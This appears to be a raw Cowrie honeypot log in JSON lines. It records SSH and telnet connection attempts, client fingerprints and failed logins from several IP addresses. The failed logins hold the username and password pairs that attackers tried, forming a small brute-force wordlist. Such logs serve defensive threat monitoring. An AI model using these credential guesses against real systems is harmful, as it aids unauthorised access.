{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:06.488472Z","src_ip":"159.203.92.129","session":"c3fd332dacee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33966,"dst_ip":"159.203.135.109","dst_port":22,"session":"55d022b294ec","protocol":"ssh","message":"New connection: 159.203.92.129:33966 (159.203.135.109:22) [session: 55d022b294ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:48.400789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:48.405886Z","src_ip":"159.203.92.129","session":"55d022b294ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:48.410987Z","src_ip":"159.203.92.129","session":"55d022b294ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahdx","password":"123456","message":"login attempt [ahdx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:48.424031Z","src_ip":"159.203.92.129","session":"55d022b294ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:49.430986Z","src_ip":"159.203.92.129","session":"55d022b294ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54512,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f63a873c096","protocol":"ssh","message":"New connection: 159.203.92.129:54512 (159.203.135.109:22) [session: 7f63a873c096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:33.327164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:33.331529Z","src_ip":"159.203.92.129","session":"7f63a873c096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:33.335976Z","src_ip":"159.203.92.129","session":"7f63a873c096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahdx","password":"AHdianxin@1234","message":"login attempt [ahdx/AHdianxin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:33.347271Z","src_ip":"159.203.92.129","session":"7f63a873c096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:34.353608Z","src_ip":"159.203.92.129","session":"7f63a873c096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":45057,"dst_ip":"159.203.135.109","dst_port":22,"session":"707d3351137c","protocol":"ssh","message":"New connection: 2.57.121.25:45057 (159.203.135.109:22) [session: 707d3351137c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:44.681047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:44.685741Z","src_ip":"2.57.121.25","session":"707d3351137c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:44.789721Z","src_ip":"2.57.121.25","session":"707d3351137c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fuckof","message":"login attempt [user/fuckof] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:45.282855Z","src_ip":"2.57.121.25","session":"707d3351137c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fucing","message":"login attempt [user/fucing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:46.389519Z","src_ip":"2.57.121.25","session":"707d3351137c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"franck","message":"login attempt [user/franck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:47.495914Z","src_ip":"2.57.121.25","session":"707d3351137c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"foxhound","message":"login attempt [user/foxhound] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:48.601918Z","src_ip":"2.57.121.25","session":"707d3351137c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"flow","message":"login attempt [user/flow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:49.707879Z","src_ip":"2.57.121.25","session":"707d3351137c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:56:50.814084Z","src_ip":"2.57.121.25","session":"707d3351137c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58566,"dst_ip":"159.203.135.109","dst_port":22,"session":"a024aa636e08","protocol":"ssh","message":"New connection: 159.203.92.129:58566 (159.203.135.109:22) [session: a024aa636e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:57:18.553555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:57:18.557787Z","src_ip":"159.203.92.129","session":"a024aa636e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:57:18.562312Z","src_ip":"159.203.92.129","session":"a024aa636e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahjz","password":"123","message":"login attempt [ahjz/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:57:18.573098Z","src_ip":"159.203.92.129","session":"a024aa636e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:57:19.579324Z","src_ip":"159.203.92.129","session":"a024aa636e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47936,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc161e4fcf95","protocol":"ssh","message":"New connection: 159.203.92.129:47936 (159.203.135.109:22) [session: bc161e4fcf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:03.947428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:03.953938Z","src_ip":"159.203.92.129","session":"bc161e4fcf95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:03.958628Z","src_ip":"159.203.92.129","session":"bc161e4fcf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahjz","password":"123456","message":"login attempt [ahjz/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:03.972785Z","src_ip":"159.203.92.129","session":"bc161e4fcf95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:04.979824Z","src_ip":"159.203.92.129","session":"bc161e4fcf95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44782,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8c4c2fa9457","protocol":"ssh","message":"New connection: 159.203.92.129:44782 (159.203.135.109:22) [session: b8c4c2fa9457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:49.339589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:49.344141Z","src_ip":"159.203.92.129","session":"b8c4c2fa9457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:49.349109Z","src_ip":"159.203.92.129","session":"b8c4c2fa9457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahjz","password":"ahjz","message":"login attempt [ahjz/ahjz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:49.360624Z","src_ip":"159.203.92.129","session":"b8c4c2fa9457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:58:50.372601Z","src_ip":"159.203.92.129","session":"b8c4c2fa9457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34870,"dst_ip":"159.203.135.109","dst_port":22,"session":"866e495a4324","protocol":"ssh","message":"New connection: 159.203.92.129:34870 (159.203.135.109:22) [session: 866e495a4324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:33.759812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:33.764715Z","src_ip":"159.203.92.129","session":"866e495a4324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:33.768975Z","src_ip":"159.203.92.129","session":"866e495a4324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahjz","password":"ahjz123","message":"login attempt [ahjz/ahjz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:33.779846Z","src_ip":"159.203.92.129","session":"866e495a4324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:34.786018Z","src_ip":"159.203.92.129","session":"866e495a4324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.74.173.205","src_port":56998,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd87885c4fa2","protocol":"telnet","message":"New connection: 196.74.173.205:56998 (10.17.0.5:23) [session: fd87885c4fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:36.174309Z"}
